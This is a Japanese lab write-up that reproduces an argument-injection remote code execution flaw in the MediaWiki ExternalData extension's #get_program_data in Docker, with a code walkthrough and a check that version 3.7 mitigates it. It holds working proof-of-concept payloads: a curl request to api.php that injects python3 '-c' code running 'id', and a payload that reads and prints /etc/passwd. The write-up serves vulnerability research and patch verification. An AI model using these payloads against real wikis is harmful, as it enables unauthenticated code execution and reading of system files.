
DockerラボでCVE-2026-100382を再現: MediaWiki ExternalDataの#get_program_dataにおける未認証の引数インジェクションRCE、PoCペイロードとパッチ検証付き。
1.43 (公式イメージ、SQLite) + ExternalData 3.6.1 (最後の脆弱バージョン)、
../mediawiki-extensions-ExternalData から読み取り専用でマウント。127.0.0.1:${HOST_PORT} (デフォルト 8080) で公開。action=parse が有効 (MediaWiki のデフォルト) - PoC にログインは不要。cd lab
./up.sh # インストール、ExternalData 3.6.1 をロード、脆弱なソースを投入、URL を表示
./down.sh # docker compose down -v + .env を削除
entrypoint.sh は、#get_program_data の文書化された目的を反映した exec ソースを投入する
param filters エントリなしで (拡張機能はそれを要求しない):$wgExternalDataSources['chart'] = [
'command' => 'python3 $options$ /srv/chart.py', // ユーザーパラメータが補間される
'params' => [ 'options' ],
'format' => 'text',
];
想定される使用法: {{#get_program_data: program=chart | options=--dpi=120 }}
-> python3 --dpi=120 /srv/chart.py を実行。
EDConnectorBase::supplementParams() は、ユーザーパラメータを wiki 全体の
command テンプレートに strtr で補間する (EDConnectorBase.php:461-470,560)。EDConnectorExe::__construct() が explode(' ', $command) を行う
(EDConnectorExe.php:92) - 補間されたユーザー値はスペースで分割され、
再クォートなしで別々の argv トークンになる。run() は Shell::command($command)->execute() を実行する (EDConnectorExe.php:139)。
Shell::command() は各トークンをシェルエスケープするため、シェルメタ文字 (;, |)
は無効化される - これは**引数インジェクション (CWE-88 / CWE-78)**であり、単純なシェル
インジェクションではない。対象プログラム (ここでは python3 -c) の追加 argv を制御する
ことで、完全なコード実行が可能になる。command を直接指定することはできない - 組み込みのワイルドカード *
ソースは command => null を強制し、ユーザー指定の command を除去する。したがって
ベクターは、管理者定義のコマンドへのパラメータ補間である。$ payload: {{#get_program_data: program=greet | name=World; id | data=out=__text }}{{#external_value: out }}
Hello World; id
$ payload: {{#get_program_data: program=greet | name=a b c | data=out=__text }}{{#external_value: out }}
Hello a b c
$ curl -sS http://127.0.0.1:8080/api.php \
--data-urlencode action=parse --data-urlencode format=json \
--data-urlencode contentmodel=wikitext \
--data-urlencode "text={{#get_program_data: program=chart | options=-c __import__('os').system('id') | data=out=__text }}{{#external_value: out }}"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ options=-c print(open('/etc/passwd').read())
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
マウントされた拡張機能をタグ 3.7 に切り替え、同じペイロードを再実行:
The class EDConnectorExe is disabled: instead of giving access to a local program,
consider using web access to a containerised application ... To enable it, a wiki
administrator will have to remove this class from the $wgExternalDataDisabledClasses
configuration setting.
3.7 は EDConnectorExe をデフォルトで無効化する ($wgExternalDataDisabledClasses、Bug T434961)。
注意: シンクコードは変更されていない - #get_program_data を使い続けるために
そのリストから EDConnectorExe を削除した wiki は、依然として完全に悪用可能である。